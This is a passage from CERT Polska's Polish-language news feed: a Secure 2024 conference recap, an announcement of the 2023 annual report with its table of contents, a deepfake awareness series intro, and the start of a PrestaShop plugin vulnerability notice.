&lt;p&gt;Pierwszy dzień Secure 2024 tradycyjnie zakończył się już bardziej nieformalnie. Stworzyliśmy uczestnikom przestrzeń do dyskusji i wymiany wrażeń. Był to czas dla prelegentów, żeby odpowiedzieć na pytania i wątpliwości słuchaczy, a także z pierwszej ręki poznać ich perspektywę. Jesteśmy przekonani, że danie uczestnikom konferencji okazji do networkingu w luźnej atmosferze zaowocuje w przyszłości wieloma ciekawymi inicjatywami. Może nawet usłyszmy o nich podczas kolejnej edycji Secure? &lt;/p&gt;
&lt;h3&gt;Dzień drugi&lt;/h3&gt;
&lt;p&gt;Dzień drugi rozpoczął się od prawdziwego wyzwania związanego z bezpieczeństwem, czyli (na szczęście fałszywego) alarmu pożarowego. Natomiast jego zaplanowanym głównym tematem były wyzwania związane z rozwojem sztucznej inteligencji. &lt;/p&gt;
&lt;h4&gt;Prezentacje otwierające&lt;/h4&gt;
&lt;p&gt;Na początek dnia mogliśmy wysłuchać prelekcji Dentona Howarda na temat międzynarodowych standardów walki z CSAM. Następnie scenę przejął Krzysztof Śmiszek z Ministerstwa Sprawiedliwości, który mówił o AI w kontekście praw człowieka, a po nim profesor Przemysław Biecek odkrywał przed słuchaczami niepoznane nieznane (unknown unknowns).  &lt;/p&gt;
&lt;h4&gt;Ścieżka cyberbezpieczeństwo AI i ścieżka wyzwania&lt;/h4&gt;
&lt;p&gt;Druga część drugiego dnia także została podzielona na dwie ścieżki: Cyberbezpieczeństwo AI i Wyzwania. Jednak obie w dużej mierze dotyczyły tych samych problemów: w jaki sposób poruszać się w świecie, w którym sztuczna inteligencja jest faktem i istotnym składnikiem rzeczywistości. Drugi dzień wyróżniał się różnorodnością prezentacji. Obok wielu prelekcji bezpośrednio dotyczących aspektów cybersecurity, można było wysłuchać m.in Michała Golaka, który mówił o cyberwojskach, ale także dr hab. inż. Agnieszki Gryszczyńskiej z Prokuratury Krajowej, która wraz z Agatą Ślusarek z KNF opowiadała o tym, w jaki sposób LLMy wykorzystywane są przez cyberprzestępców już teraz. &lt;/p&gt;
&lt;h3&gt;Warsztaty&lt;/h3&gt;
&lt;p&gt;Jeśli dla kogoś dwa dni konferencji to zbyt mało, towarzyszące jej warsztaty były zorganizowane zarówno przed jak i po głównym wydarzeniu. Warsztaty były adresowane do szerokiego spektrum specjalistów. Można było zgłębić tajniki analizy mobilnego malware, poznać system MISP na szkoleniu wstępnym lub zaawansowanym, a także nauczyć się komunikacji kryzysowej w przypadku incydentów. Po konferencji uczestnicy mogli wziąć udział w dwudniowym szkoleniu w języku angielskim - Cybersecurity Resilience in Critical Infrastructure organizowanym przez SANS Institute, CISO4U i CISO Poland. Szkolenie to prowadził Tim Conway.   &lt;/p&gt;
&lt;h3&gt;Do zobaczenia za rok!&lt;/h3&gt;
&lt;p&gt;Secure to najstarsza polska konferencja dotycząca cyberbezpieczeństwa. Jesteśmy dumni, że już po raz 27 udało nam się zgromadzić w jednym miejscu ekspertów chętnych dzielić się wiedzą. Mamy nadzieję, że za rok spotkamy się w jeszcze szerszym gronie, aby wysłuchać jeszcze ciekawszych prezentacji. &lt;/p&gt;
&lt;p&gt;Do zobaczenia! (albo do usłyszenia, zachęcamy do zgłaszania swoich prezentacji!) &lt;/p&gt;</content><category term="News"></category><category term="Secure 2024"></category><category term="konferencja"></category></entry><entry><title>Raport roczny z działalności CERT Polska w 2023 roku</title><link href="https://cert.pl/posts/2024/04/raport-roczny-2023/" rel="alternate"></link><published>2024-04-16T10:20:00+01:00</published><updated>2024-04-16T10:20:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-04-16:/posts/2024/04/raport-roczny-2023/</id><summary type="html">Nowoczesne technologie w obszarze cyberbezpieczeństwa są dla nas tylko narzędziem wspierającym nasze codzienne działania. To ludzie, którzy ich używają naprawdę dokonują zmian. W CERT Polska mamy takich ludzi, a 2023 rok przyniósł nam wiele istotnych zmian, o których opowiadamy w tej publikacji.</summary><content type="html">&lt;p&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf" class="report-download"&gt;
  &lt;img src="/uploads/2024/04/raport-roczny-2023/raport_2023_thumbnail.png" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz raport (PDF, 12.6MB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Nowoczesne technologie w obszarze cyberbezpieczeństwa są dla nas tylko narzędziem wspierającym nasze codzienne działania. To ludzie, którzy ich używają naprawdę dokonują zmian. W CERT Polska mamy takich ludzi, a 2023 rok przyniósł nam wiele istotnych zmian, o których opowiadamy w tej publikacji. &lt;/p&gt;
&lt;p&gt;W mijających miesiącach przede wszystkim doskonaliliśmy nasze narzędzia, takie jak Artemis, Snitch, n6 czy MWDB. Lepsze narzędzia, to lepszy ogląd na to, co dzieje się w cyberprzestrzeni, a co za tym idzie możliwość skuteczniejszego reagowania. Sieć nie zna granic, dlatego zależy nam na tym, by dzielić się wiedzą z innymi podmiotami odpowiedzialnymi za cyberbezpieczeństwo. Z tą myślą udostępniamy większość kodu narzędzi w formule open source. O tym, że warto ich używać mogą świadczyć dane, które znajdziecie Państwo w raporcie. &lt;/p&gt;
&lt;p&gt;W ubiegłym roku wciąż rozwijaliśmy także ten fragment naszej działalności, który odnosi się do badania cyberprzestrzeni, analizowania działań cyberprzestępców. Podsumowanie tych obserwacji znajduje się w części dotyczącej incydentów i zagrożeń. &lt;/p&gt;
&lt;p&gt;W zeszłorocznej edycji zamieściliśmy rozdział poświęcony wojnie w Ukrainie – opisywaliśmy m.in. ataki typu DDoS na strony rządowe i portale podmiotów gospodarczych, a także pojawienie się fałszywych sklepów z opałem. Chcieliśmy pokazać, jak bardzo cyberprzestrzeń zależna jest od wydarzeń w świecie rzeczywistym. Dlatego i w tym raporcie znajdują się liczne odniesienia do bieżących wydarzeń, a rozdział o grupach APT jest tego doskonałym przykładem. Pokazuje on m.in. jak jesienne wybory do polskiego parlamentu wpływały na cyberprzestrzeń. &lt;/p&gt;
&lt;p&gt;W raporcie opisujemy również liczne, bardzo ważne dla nas współprace, które owocowały projektami, ćwiczeniami i warsztatami. Pochylamy się nad tematem ustawy o zwalczaniu nadużyć w komunikacji elektronicznej, która niesie dla naszego zespołu szereg istotnych zmian i obowiązków, a dla użytkowników – szansę na ograniczenie ilości phishingu, z którym mają do czynienia na co dzień. Informacje o tych inicjatywach znajdą Państwo w rozdziale podsumowującym działania CERT Polska. &lt;/p&gt;
&lt;p&gt;Wreszcie – last but not least – omawiamy skalę i rodzaje incydentów. Już same statystyki pozwalają uznać poprzedni rok za rekordowy. Na pierwszy rzut oka obraz, który się na ich bazie rysuje wydaje się mocno niepokojący. Jednak już pobieżna lektura pozwala zorientować się, że olbrzymia skala zgłoszeń, to także efekt działań promocyjnych i uruchomienia nowego, bezpłatnego numeru 8080 do zgłaszania podejrzanych wiadomości SMS. Wierzymy, że nasze działania przekładają się na wzrost świadomości dotyczącej cyberzagrożeń, a co za tym idzie wzrost liczby zgłoszeń. Rozwój wiedzy w obszarze cyberbezpieczeństwa to przecież najlepsza broń w walce z cyberoszustami. &lt;/p&gt;
&lt;p&gt;Zapraszamy do lektury, bo ten raport to potężny zastrzyk wiedzy o tym, z jakimi zagrożeniami mamy do czynienia i jak skuteczniej możemy się przed nimi bronić.&lt;/p&gt;
&lt;p&gt;Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo
&lt;a href="/uploads/docs/Raport_CP_2023.pdf" download style="text-decoration: underline;"&gt;&lt;strong&gt;pobierz plik z raportem&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=7"&gt;&lt;strong&gt;Wstęp&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;6&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=9"&gt;&lt;strong&gt;O CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;8&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=11"&gt;&lt;strong&gt;CERT Polska nadaje numery CVE&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;10&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=12"&gt;Nowe zadanie: koordynowane ujawnianie podatności&lt;span&gt;&lt;/span&gt;&lt;em&gt;11&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=12"&gt;Rola CERT Polska w procesie ujawniania błędów w oprogramowaniu&lt;span&gt;&lt;/span&gt;&lt;em&gt;11&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=14"&gt;Podatności ujawnione w 2023 przez CERT.PL&lt;span&gt;&lt;/span&gt;&lt;em&gt;13&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=15"&gt;&lt;strong&gt;Kalendarium&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;14&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=21"&gt;&lt;strong&gt;Incydenty i zagrożenia w 2023&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;20&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=22"&gt;Przegląd nowych kampanii i ewolucja już znanych&lt;span&gt;&lt;/span&gt;&lt;em&gt;21&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=22"&gt;Nowe kampanie&lt;span&gt;&lt;/span&gt;&lt;em&gt;21&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=26"&gt;Kontynuacja kampanii z poprzednich lat&lt;span&gt;&lt;/span&gt;&lt;em&gt;25&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=35"&gt;Obserwowane działania grup APT&lt;span&gt;&lt;/span&gt;&lt;em&gt;34&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=36"&gt;Wybrane kampanie&lt;span&gt;&lt;/span&gt;&lt;em&gt;35&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=39"&gt;Współpraca krajowa i międzynarodowa&lt;span&gt;&lt;/span&gt;&lt;em&gt;38&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=41"&gt;Najważniejsze podatności w 2023 roku&lt;span&gt;&lt;/span&gt;&lt;em&gt;40&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=42"&gt;Microsoft Outlook (CVE-2023-23397)&lt;span&gt;&lt;/span&gt;&lt;em&gt;41&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=43"&gt;Fortigate SSL-VPN (CVE-2023-27997)&lt;span&gt;&lt;/span&gt;&lt;em&gt;42&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=44"&gt;Cisco IOS XE (CVE-2023-20198)&lt;span&gt;&lt;/span&gt;&lt;em&gt;43&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=45"&gt;Wycieki danych i strona bezpiecznedane.gov.pl&lt;span&gt;&lt;/span&gt;&lt;em&gt;44&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=45"&gt;Wyciek z Morele po 6 latach&lt;span&gt;&lt;/span&gt;&lt;em&gt;44&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=45"&gt;Wyciek danych z oprogramowania wykradającego dane&lt;span&gt;&lt;/span&gt;&lt;em&gt;44&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=46"&gt;Wyciek danych medycznych z sieci laboratoriów ALAB&lt;span&gt;&lt;/span&gt;&lt;em&gt;45&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=47"&gt;Zastrzeganie numeru PESEL&lt;span&gt;&lt;/span&gt;&lt;em&gt;46&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=48"&gt;Ransomware&lt;span&gt;&lt;/span&gt;&lt;em&gt;47&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=49"&gt;Główne zagrożenia&lt;span&gt;&lt;/span&gt;&lt;em&gt;48&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=50"&gt;Rodziny zaobserwowane przez CERT Polska w 2023&lt;span&gt;&lt;/span&gt;&lt;em&gt;49&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=51"&gt;Zaobserwowane Trendy&lt;span&gt;&lt;/span&gt;&lt;em&gt;50&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=52"&gt;Poradnik dotyczący ransomware&lt;span&gt;&lt;/span&gt;&lt;em&gt;51&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=53"&gt;Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej&lt;span&gt;&lt;/span&gt;&lt;em&gt;52&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=56"&gt;&lt;strong&gt;Działania CERT Polska&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;55&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=57"&gt;Lista Ostrzeżeń&lt;span&gt;&lt;/span&gt;&lt;em&gt;56&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=58"&gt;#BezpiecznyPrzemysł&lt;span&gt;&lt;/span&gt;&lt;em&gt;57&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=60"&gt;Zgłoszenia SMS&lt;span&gt;&lt;/span&gt;&lt;em&gt;59&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=63"&gt;Edukacja i promocja - czyli czy nr 8080 podniósł świadomość Polaków w obszarze cyberbezpieczeństwa?&lt;span&gt;&lt;/span&gt;&lt;em&gt;62&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=68"&gt;Dwudziesta szósta edycja Secure&lt;span&gt;&lt;/span&gt;&lt;em&gt;67&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=70"&gt;Projekty R&amp;amp;D&lt;span&gt;&lt;/span&gt;&lt;em&gt;69&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=70"&gt;Snitch&lt;span&gt;&lt;/span&gt;&lt;em&gt;69&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=71"&gt;Trudności&lt;span&gt;&lt;/span&gt;&lt;em&gt;70&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=72"&gt;Nowości&lt;span&gt;&lt;/span&gt;&lt;em&gt;71&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=73"&gt;Bezpieczna Poczta&lt;span&gt;&lt;/span&gt;&lt;em&gt;72&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=74"&gt;Projekt JTAN&lt;span&gt;&lt;/span&gt;&lt;em&gt;73&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=75"&gt;DNS4EU&lt;span&gt;&lt;/span&gt;&lt;em&gt;74&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=76"&gt;Artemis&lt;span&gt;&lt;/span&gt;&lt;em&gt;75&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=78"&gt;Platforma MWDB&lt;span&gt;&lt;/span&gt;&lt;em&gt;77&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=79"&gt;Ćwiczenia i konkursy&lt;span&gt;&lt;/span&gt;&lt;em&gt;78&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=79"&gt;Locked Shields 2023&lt;span&gt;&lt;/span&gt;&lt;em&gt;78&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=81"&gt;European Cyber Security Challenge 2023&lt;span&gt;&lt;/span&gt;&lt;em&gt;80&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=82"&gt;HackASat&lt;span&gt;&lt;/span&gt;&lt;em&gt;81&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=83"&gt;&lt;strong&gt;Statystyki&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;82&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=84"&gt;n6&lt;span&gt;&lt;/span&gt;&lt;em&gt;83&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=84"&gt;Metodyka&lt;span&gt;&lt;/span&gt;&lt;em&gt;83&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=85"&gt;Botnety&lt;span&gt;&lt;/span&gt;&lt;em&gt;84&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=87"&gt;Phishing&lt;span&gt;&lt;/span&gt;&lt;em&gt;86&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=90"&gt;Usługi pozwalające na prowadzenie ataków DRDoS&lt;span&gt;&lt;/span&gt;&lt;em&gt;89&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=97"&gt;Podatne usługi&lt;span&gt;&lt;/span&gt;&lt;em&gt;96&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=103"&gt;Szerokie statystyki&lt;span&gt;&lt;/span&gt;&lt;em&gt;102&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=103"&gt;Obsługa zgłoszeń, incydentów i reagowanie na zagrożenia&lt;span&gt;&lt;/span&gt;&lt;em&gt;102&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=103"&gt;Najczęstsze typy incydentów w 2023 r.&lt;span&gt;&lt;/span&gt;&lt;em&gt;102&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=104"&gt;Incydenty objęte krajową ustawą o systemie cyberbezpieczeństwa&lt;span&gt;&lt;/span&gt;&lt;em&gt;103&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=108"&gt;&lt;strong&gt;Spis rysunków&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;107&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=110"&gt;&lt;strong&gt;Spis tabel&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;109&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/Raport_CP_2023.pdf#page=111"&gt;&lt;strong&gt;Spis wykresów&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;110&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;style&gt;
.article ul {
  font-size: 1.5em;
  clear: both;
}
.article ul ul {
  font-size: 0.9em;
}
.article ul ul ul {
  font-size: 0.9em;
}
.article ul ul ul ul {
  font-size: 0.9em;
}
.article ul div {
  display: inline-block;
  width: 100%;
}
.article ul div a {
  display: flex;
}
.article ul div a span {
  flex: 1 1;
  border-bottom: 1px dashed #999;
  margin: 0 0.3em 0.45em 0.3em;
}
.article ul div a em {
  white-space: nowrap;
}
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}
.article .report-download img {
  width: 100%;
  max-width: 400px;
  margin: 0 0 10px 0;
}
.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
}
&lt;/style&gt;</content><category term="News"></category><category term="raport roczny"></category><category term="raport"></category></entry><entry><title>Wstęp do deepfake</title><link href="https://cert.pl/posts/2024/04/wstep-do-deepfake/" rel="alternate"></link><published>2024-04-08T16:00:00+01:00</published><updated>2024-04-08T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-04-08:/posts/2024/04/wstep-do-deepfake/</id><summary type="html">Czy sztuczna inteligencja przejmie władzę nad światem? Czy AI jest w stanie zmylić naszą percepcję? Czy łatwo jest odróżnić rzeczywistość od manipulacji? Czym jest deepfake i czy zawsze oznacza coś złego? I czy człowiek może pokochać maszynę?</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/04/wstep-do-deepfake/thumbnail.jpg" /&gt;&lt;/p&gt;
&lt;h2&gt;Zapraszamy Was na nasz nowy cykl #WiedzAInformacje&lt;/h2&gt;
&lt;p&gt;Czy sztuczna inteligencja przejmie władzę nad światem? Czy AI jest w stanie zmylić naszą percepcję? Czy łatwo jest odróżnić rzeczywistość od manipulacji? Czym jest deepfake i czy zawsze oznacza coś złego? I czy człowiek może pokochać maszynę?&lt;/p&gt;
&lt;p&gt;Czy sztuczna inteligencja wzbudza emocje i generuje wiele pytań? Niewątpliwie tak.&lt;/p&gt;
&lt;p&gt;Dlatego zapraszamy Was na nasz nowy cykl poświęcony AI, a w szczególności zjawisku deepfake.&lt;/p&gt;
&lt;h3&gt;O czym będziemy mówić?&lt;/h3&gt;
&lt;p&gt;Opowiemy o genezie i historii deepfake’ów. Pokażemy przykłady ich użycia. Będziemy pisać ogólnie, ale nie zamierzamy uciekać od bieżących tematów. Mamy rok wyborczy i materiały deepfake mogą stać się potężną bronią w walce politycznej. Ale nie chcemy tylko straszyć, postaramy się też rozbroić błędne przekonania na temat deepfake’ów pokazując różne przykłady ich użycia.&lt;/p&gt;
&lt;p&gt;A od strony technicznej opiszemy rodzaje deepfake’ów i sposoby ich tworzenia. A na koniec pokażemy na co zwracać uwagę, żeby rozpoznać zmanipulowane materiały.&lt;/p&gt;
&lt;p&gt;Po tym technicznym zakończeniu planujemy jeszcze wisienkę na torcie, czyli rzut oka na „Relacje 5.0”. Zastanowimy się, czy można pokochać maszynę?&lt;/p&gt;
&lt;p&gt;Bazą naszego cyklu jest opracowanie przygotowane w przez ekspertów z Zakładu Biometrii NASK-PIB – Adriana Kordas, Ewelinę Bartuzi-Trokielewicz i gościnnie Jacka Jackowskiego.&lt;/p&gt;</content><category term="News"></category><category term="Deepfake"></category><category term="WiedzAInformacje"></category></entry><entry><title>Podatność we wtyczce Apaczka do platformy PrestaShop</title><link href="https://cert.pl/posts/2024/04/CVE-2024-2759/" rel="alternate"></link><published>2024-04-04T12:00:00+01:00</published><updated>2024-04-04T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-04-04:/posts/2024/04/CVE-2024-2759/</id><summary type="html">We wtyczce Apaczka do platformy PrestaShop wykryto podatność typu Files or Directories Accessible to External Parties (CVE-2024-2759).</summary><content 